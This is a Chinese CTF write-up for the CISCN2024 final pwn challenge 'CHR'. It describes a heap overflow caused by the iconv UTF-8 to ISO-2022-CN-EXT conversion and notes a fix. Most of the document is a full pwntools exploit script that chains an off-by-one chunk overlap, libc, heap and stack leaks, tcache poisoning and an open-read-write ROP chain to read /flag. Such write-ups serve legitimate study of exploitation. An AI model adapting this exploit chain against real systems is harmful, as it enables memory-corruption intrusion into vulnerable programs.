CISCN2024决赛-PWN

84 阅读4分钟

CISCN2024决赛PWN

CHR

很有意思的一道题,一直没找到问题,直到自己复现了一遍字体转换,发现存在溢出。(不知不觉通宵了,难顶)

import subprocess
def convert_encoding(input_str, from_encoding, to_encoding):
    result = subprocess.run(
        ['iconv', '-f', from_encoding, '-t', to_encoding],
        input=input_str.encode(from_encoding),
        capture_output=True
    )
    return result.stdout

def bytes_to_hex_string(byte_data):
    return ''.join(f'\\x{byte:02x}' for byte in byte_data)

input_str = "人"
input_bytes = input_str.encode("UTF-8")
print("转换前的字节数据:", bytes_to_hex_string(input_bytes))
output_bytes = convert_encoding(input_str, "UTF-8", "ISO-2022-CN-EXT")
print("转换后的字节数据:", bytes_to_hex_string(output_bytes))
转换前的字节数据: \xe4\xba\xba
转换后的字节数据: \x1b\x24\x29\x41\x0e\x48\x4b\x0f

在处理汉字时,utf-8是三个字节存一个字,ISO-2022-CN-EXT是两个字节存一个字,但是ISO-2022-CN-EXT有一个长度6字节的初始附加,所以当字数小于6时可以溢出,当字数为1时,溢出5字节。

然后先利用main_arena泄露libc,再利用bin中的指针地址泄露heap,再利用全局变量environ泄露stack。

xz.aliyun.com/news/14993?…

修复方法,在Malloc的时候申请的大小+6即可。

from pwn import *
from pwn import u64,p64
context(os='linux', arch='amd64', log_level='debug')
p=process("/home/ben/Desktop/CISCN2024_final/CHR/pwn")
elf=ELF("/home/ben/Desktop/CISCN2024_final/CHR/pwn")
libc=ELF("/home/ben/Desktop/CISCN2024_final/CHR/libc.so.6")

def Malloc(size,content):
    p.sendlineafter(b"choice >> ",b"1")
    p.sendlineafter(b"size:",str(size))
    p.sendafter(b"content:",content)

def Free(index):
    p.sendlineafter(b"choice >> ",b"2")
    p.sendlineafter(b"idx:",str(index))

def Edit(index,content):
    p.sendlineafter(b"choice >> ",b"3")
    p.sendlineafter(b"idx:",str(index))
    p.sendafter(b"content:",content)

def Show(index):
    p.sendlineafter(b"choice >> ",b"4")
    p.sendlineafter(b"idx:",str(index))

def Convert(index):# 使用 iconv 库将输入的字符串从 UTF-8 编码转换为 ISO-2022-CN-EXT 编码,并将转换后的结果写回到原始内存位置
    p.sendlineafter(b"choice >> ",b"5")
    p.sendlineafter(b"idx:",str(index))

def Exit():
    p.sendlineafter(b"choice >> ",b"6")

Malloc(0x208,"艹"+"A"*0x200+'\x41\x04') # 0
Malloc(0x200,"AAA")                     # 1
Malloc(0x208,"艹"+"A"*0x200+'\x41\x04') # 2
Malloc(0x200,p64(0)*3+p64(0x1f1))       # 3
Malloc(0x200,"AAA")                     # 4
Malloc(0x200,p64(0)*3+p64(0x1f1))       # 5
# 通过转换02来溢出,实现Off by
Convert(0)
Convert(2)
Free(1)
# 申请到的是原本的块1,改了3的大小
Malloc(0x438,b"A"*(0x418)+p64(0x441)) # 1
# free来泄露libc地址
Free(3)
Edit(1,b"A"*(0x420))
Show(1)
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) - 0x203b20
pop_rdi = libc.search(asm("pop rdi\nret")).__next__()
pop_rsi = libc.search(asm("pop rsi\nret")).__next__()
pop_rdx = 0x66b9a + libc.address
# 改2的大小,来泄露heap地址
Edit(1,b"A"*(0x208)+p64(0x211))
Free(2)
Edit(1,b"A"*(0x20f)+b"?")
Show(1)
p.recvuntil("?")
heap = u64(p.recv(5).ljust(0x8,b"\x00")) * 0x1000
# 申请到原本块2的位置
Malloc(0x200,"AAA") # 2
print(hex(heap))
Free(0)
# 修改块2的大小,通过全局变量environ来泄露栈地址
# https://xz.aliyun.com/news/14993?time__1311=eqUxuDBD0AKED8DlEmPBDYTdv5Ahfxx&u_atoken=d2b2041abd990e38a88b48e2f0973057&u_asig=1a0c380817412032218325326e0099
Edit(1,b"A"*(0x208)+p64(0x211))
Free(2)
Edit(1,b"A"*(0x208)+p64(0x211)+p64((heap>>12)^libc.sym['environ']-0x208))
Malloc(0x200,"AAA")
Malloc(0x208,"A"*0x208)
Show(2)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) -8 - 0x180 - 0x10
# 填充栈的具体地址
Free(4)
Free(0)
Edit(1,b"A"*(0x208)+p64(0x211)+p64((heap>>12)^stack))
Malloc(0x208,"A"*0x208)
# ORW
payload = p64(0) + p64(pop_rdi) + p64(stack+0x200) + p64(pop_rsi) + p64(0) + p64(libc.sym['open']) # O
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x200) + p64(pop_rdx) + p64(0x40) + p64(libc.sym['read']) # R
payload += b"A"*(0x21-8) +  p64(pop_rdi) + p64(1) + p64(libc.sym['write']) # W
Malloc(0x208,payload.ljust(0x200,b"\x00")+b"/flag")
p.interactive()